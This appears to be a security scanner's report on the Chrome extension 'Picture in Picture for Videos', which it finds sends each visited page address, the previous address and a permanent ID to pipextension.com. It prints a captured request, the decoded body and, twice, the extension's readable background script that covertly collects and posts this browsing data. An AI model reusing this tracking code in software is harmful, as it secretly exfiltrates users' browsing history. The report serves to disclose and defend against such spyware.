Is Picture in Picture for Videos safe?

High risk

Picture in Picture for Videos is high risk. The extension reports every page visit to pipextension.com. Six captured requests carried the page address, the previous address and a fixed ID, with cookies and an encoded body. On first run the extension creates a random ID and stores it with no expiry.…

pictureinpictureextensionv1.8Extension ID pmdjjeplkafhkdjebfaoaljknbmilfgoChrome Web Store
77Risk
AI-assisted analysis.

Picture in Picture for Videos findings

Sends every page address you visit to pipextension.com with a permanent ID

HighunwantedCWE-359Dynamic sandbox

The extension reports every page visit to pipextension.com.

What actually happens

You did this

You navigate to any HTTP or HTTPS page with the extension installed.

The listener fires once the tab finishes loading (status 'complete').

The extension did this

The background service worker sends the visited page's URL, the previous page's URL, and a persistent ID to pipextension.com.

The request is sent with credentials: 'include', so your cookies for that request are attached.

Captured request

POSThttps://pipextension.com/api/reports

The vendor's endpoint returned HTTP 200 for each of the six requests captured in the test session.

Headers
Content-Type
text/plain
Body
eyJ1cmkiOiJodHRwczovL3d3dy5hbWF6b24uY29tL3M/az11c2IrY2FibGUiLCJ1aWQiOiJiODMwNWU3NC1mYmQzLTRhMTEtOWI0NC1jNGE3ZDllYWM2MTQiLCJkb2NyZWYiOiJodHRwczovL3d3dy5leGFtcGxlLmNvbS8ifQ==

Why you can't catch this in DevTools

The request body is a base64-encoded JSON string sent with a text/plain content type, rather than a standard JSON content type, so it does not read as structured data in casual network inspection.

Decoded value
{  "uri": "https://www.amazon.com/s?k=usb+cable",  "uid": "b8305e74-fbd3-4a11-9b44-c4a7d9eac614",  "docref": "https://www.example.com/"}

Fields in the decoded request body

  • Page you visited
    https://www.amazon.com/s?k=usb+cable

    The full address of the page you navigated to, including any search query in the URL.

  • Persistent tracking ID
    b8305e74-fbd3-4a11-9b44-c4a7d9eac614

    A UUID generated once on install and reused in every report, letting the vendor link your visits to the same browser install over time.

  • Previous page
    https://www.example.com/

    The URL of the page you were on immediately before this one, showing your browsing path.

The code that does this

Navigation listener that builds and sends the report

Readable version
const setToSessionStorage = async (e, t) => {  await chrome.storage.session.set({    [e]: t  })}, getFromSessionStorage = async e => (await chrome.storage.session.get(e))[e], getFromChromeLocalStorage = async e => (await chrome.storage.local.get(e))[e], setToChromeLocalStorage = async (e, t) => {  let a = {};  a[e] = t, await chrome.storage.local.set(a)}, generateUserId = () => "undefined" != typeof crypto && crypto.randomUUID ? crypto.randomUUID() : "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, (function(e) {  const t = 16 * Math.random() | 0;  return ("x" === e ? t : 3 & t | 8).toString(16)})), initializeUserId = async () => {  try {    const e = await getFromChromeLocalStorage("uid");    if (!e) {      const e = generateUserId();      return await setToChromeLocalStorage("uid", e), e    }    return e  } catch (e) {    return console.error("Error initializing user ID:", e), null  }}, tabInfo = async e => {  let t = await getFromSessionStorage("ferers") || {};  return e in t || (t[e] = {}), t[e]}, handleRuntimeError = () => {  let e = chrome.runtime.lastError;  e && console.log(e)}, isValidPage = e => null != e && e.startsWith("http"), postData = async (e, t = {}) => {  try {    const a = JSON.stringify(t),      r = btoa(a),      o = await fetch(e, {        method: "POST",        credentials: "include",        headers: {          "Content-Type": "text/plain"        },        body: r      });    return await o.json()  } catch (e) {}};chrome.tabs.onUpdated.addListener((async (e, t, a) => {  if ("complete" === t.status) {    handleRuntimeError();    const t = await getFromChromeLocalStorage("uid"),      r = await tabInfo(e);    let o = r?.url;    if (isValidPage(a.url) && a.url !== o) {      let r = {        uri: a.url,        uid: t,        docref: o      };      await postData("https://pipextension.com/api/reports", r);      let s = await getFromSessionStorage("ferers") || {};      s[e] = {        url: a.url      }, await setToSessionStorage("ferers", s)    }  }})), chrome.runtime.onInstalled.addListener((async e => {  "install" === e.reason ? (await initializeUserId(), chrome.tabs.create({    url: "https://pipextension.com/#how-it-works"  })) : "update" === e.reason && await initializeUserId()})), chrome.action.onClicked.addListener((e => {  chrome.scripting.executeScript({    target: {      tabId: e.id    },    files: ["pip.js"]  }, (() => {    chrome.tabs.sendMessage(e.id, {      message: "togglePictureInPicture"    })  }))})), chrome.runtime.onMessage.addListener((async function(e) {  "open" === e.state ? chrome.action.setIcon({    path: "pip-dark128.png"  }) : "close" === e.state && chrome.action.setIcon({    path: "pip-light128.png"  }), "disabled" === e.state && chrome.action.setIcon({    path: "pip-light128.png"  })}));

Third-party destinations

    • pipextension.com

    Receives the browsing-history report (visited URL, previous URL, persistent ID) sent on every navigation. Also the page the extension opens in a new tab right after install.

Creates a permanent tracking ID when you install Picture in Picture for Videos

HighunwantedCWE-359Dynamic sandbox

On first run the extension creates a random ID and stores it with no expiry.

What actually happens

You did this

You install the extension, or Chrome updates it to a new version.

This fires the extension's install/update handler.

The extension did this

The background service worker checks chrome.storage.local for a saved ID; if none exists, it generates one and stores it permanently.

No expiration or rotation is set on the stored value.

What's stored on your device

Stores a single persistent identifier that never expires and is reused for the life of the install, generated once via crypto.randomUUID().

Location
chrome.storage.local key 'uid'
Contents
{  "uid": "b8305e74-fbd3-4a11-9b44-c4a7d9eac614"}

The code that does this

UUID generation and storage on install/update

Readable version
const setToSessionStorage = async (e, t) => {  await chrome.storage.session.set({    [e]: t  })}, getFromSessionStorage = async e => (await chrome.storage.session.get(e))[e], getFromChromeLocalStorage = async e => (await chrome.storage.local.get(e))[e], setToChromeLocalStorage = async (e, t) => {  let a = {};  a[e] = t, await chrome.storage.local.set(a)}, generateUserId = () => "undefined" != typeof crypto && crypto.randomUUID ? crypto.randomUUID() : "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, (function(e) {  const t = 16 * Math.random() | 0;  return ("x" === e ? t : 3 & t | 8).toString(16)})), initializeUserId = async () => {  try {    const e = await getFromChromeLocalStorage("uid");    if (!e) {      const e = generateUserId();      return await setToChromeLocalStorage("uid", e), e    }    return e  } catch (e) {    return console.error("Error initializing user ID:", e), null  }}, tabInfo = async e => {  let t = await getFromSessionStorage("ferers") || {};  return e in t || (t[e] = {}), t[e]}, handleRuntimeError = () => {  let e = chrome.runtime.lastError;  e && console.log(e)}, isValidPage = e => null != e && e.startsWith("http"), postData = async (e, t = {}) => {  try {    const a = JSON.stringify(t),      r = btoa(a),      o = await fetch(e, {        method: "POST",        credentials: "include",        headers: {          "Content-Type": "text/plain"        },        body: r      });    return await o.json()  } catch (e) {}};chrome.tabs.onUpdated.addListener((async (e, t, a) => {  if ("complete" === t.status) {    handleRuntimeError();    const t = await getFromChromeLocalStorage("uid"),      r = await tabInfo(e);    let o = r?.url;    if (isValidPage(a.url) && a.url !== o) {      let r = {        uri: a.url,        uid: t,        docref: o      };      await postData("https://pipextension.com/api/reports", r);      let s = await getFromSessionStorage("ferers") || {};      s[e] = {        url: a.url      }, await setToSessionStorage("ferers", s)    }  }})), chrome.runtime.onInstalled.addListener((async e => {  "install" === e.reason ? (await initializeUserId(), chrome.tabs.create({    url: "https://pipextension.com/#how-it-works"  })) : "update" === e.reason && await initializeUserId()})), chrome.action.onClicked.addListener((e => {  chrome.scripting.executeScript({    target: {      tabId: e.id    },    files: ["pip.js"]  }, (() => {    chrome.tabs.sendMessage(e.id, {      message: "togglePictureInPicture"    })  }))})), chrome.runtime.onMessage.addListener((async function(e) {  "open" === e.state ? chrome.action.setIcon({    path: "pip-dark128.png"  }) : "close" === e.state && chrome.action.setIcon({    path: "pip-light128.png"  }), "disabled" === e.state && chrome.action.setIcon({    path: "pip-light128.png"  })}));

Third-party destinations

    • pipextension.com

    Receives this persistent ID in every browsing-history report the extension sends on page navigation.

If you have Picture in Picture for Videos installed

  1. Open chrome://extensions and turn on Developer mode to show IDs. Find the one with ID pmdjjeplkafhkdjebfaoaljknbmilfgo and choose Remove.
  2. Block the servers only it was seen contacting: pipextension.com.
  3. Scan your browser to check the rest of your extensions.

What Picture in Picture for Videos can do

Permissions this extension asks for, as declared in version 1.2. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 1.8, which we have not unpacked yet.

  • Read and change your data on every site you visit

    <all_urls>

  • Store data in your browser

    storage

  • Act on the current tab, but only after you click the extension

    activeTab

  • Run its own code inside the pages you visit

    scripting

Picture in Picture for Videos version history

  1. 1.2

    Mar 4, 2026

  2. +1 more

  3. 1.5

    Oct 5, 2026

  4. 1.7

    Oct 10, 2026

  5. 1.8

    Oct 19, 2026

Where Picture in Picture for Videos sends data

  • pipextension.com/api/reports1 call

    From its background script · only this extension

Chrome Web Store listing

Versions
1.8 latest of 5 seen since March 4, 2026
Store rating
4.5 from 22 ratings
Last updated
October 19, 2026
Size
40.57 KiB
Privacy policy
pipextension.com
Updated November 20, 2026